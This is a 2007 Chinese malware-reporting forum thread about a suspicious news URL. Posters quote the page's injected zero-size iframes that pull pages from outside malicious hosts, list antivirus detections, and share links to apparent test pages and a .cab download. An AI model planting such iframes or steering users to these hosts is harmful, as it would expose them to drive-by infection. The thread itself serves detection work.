网址可疑

显示全部楼层 · 发表于 2007-11-4 21:28:24

hp://news.cznetcom.com/Article/kj/200604/125090.htm

红伞抓了几个
应该不止

[ 本帖最后由 lanvin 于 2007-11-4 21:38 编辑 ]

显示全部楼层 · 发表于 2007-11-4 21:31:14

</table>
</body>
<iframe src=http://ufz3k1.chinaw3.com/images/news.html width=0 height=0 scrolling=no frameborder=0></iframe>
</html>
<NOSCRIPT><IFRAME src='*' Width='0' Height='0'></IFRAME></NOSCRIPT>
<iframe src=http://alalmn.3322.org/ie/ie.htm width=0 height=0></iframe>

复制代码

显示全部楼层 · 发表于 2007-11-4 21:34:36

检测到病毒: VBS:Script-gen
文件: test1[1].htm

显示全部楼层 · 发表于 2007-11-4 21:37:08

兩個都失連了！

显示全部楼层 · 发表于 2007-11-4 22:21:30

可惜那个
http://alalmn.3322.org/ie/ie.htm
打不开了。

显示全部楼层 · 发表于 2007-11-4 23:44:19

Disinfect

Uhthn Anti-Spyware V3 Alpha
Version - 3.0.0
Standard Database - 396
Paranoia Database - 48490
Heuristics Analysis - Excessive
Scan in - C:\Documents and Settings\Uhthn\Desktop\桌面(2)

C:\Documents and Settings\Uhthn\Desktop\桌面(2)\ShowClass_Menu[1].js - Infected VIRUS.SCRIPT.1B56 - Disinfected
C:\Documents and Settings\Uhthn\Desktop\桌面(2)\001[1].swf - Infected VIRUS.SCRIPT.2B97 - Disinfected
C:\Documents and Settings\Uhthn\Desktop\桌面(2)\iframe2[1].htm - Suspected Downloader
C:\Documents and Settings\Uhthn\Desktop\桌面(2)\c[1].htm - Infected VIRUS.SCRIPT.40C3 - Disinfected
C:\Documents and Settings\Uhthn\Desktop\桌面(2)\125090[1].htm - Infected VIRUS.SCRIPT.3A50 - Disinfected

5 Files scanned
4 Infected files found
1 Suspected files found
4 Files disinfected
0 Files deleted

显示全部楼层 · 发表于 2007-11-5 10:04:50

http://alalmn.3322.org/ie/ie.htm
是打不开了。

测试页有问题

http://iebar.t2t2.com/test1.htm\

下载:http://iebar.t2t2.com/iebar.cab#Version=1,1,0,0

微点砍掉

显示全部楼层 · 发表于 2007-11-5 20:11:16

RX20.17.01一个未报。。

显示全部楼层 · 发表于 2007-11-6 13:33:40

添加了iframe，不是病毒也高度可疑了。

[已鉴定] 网址可疑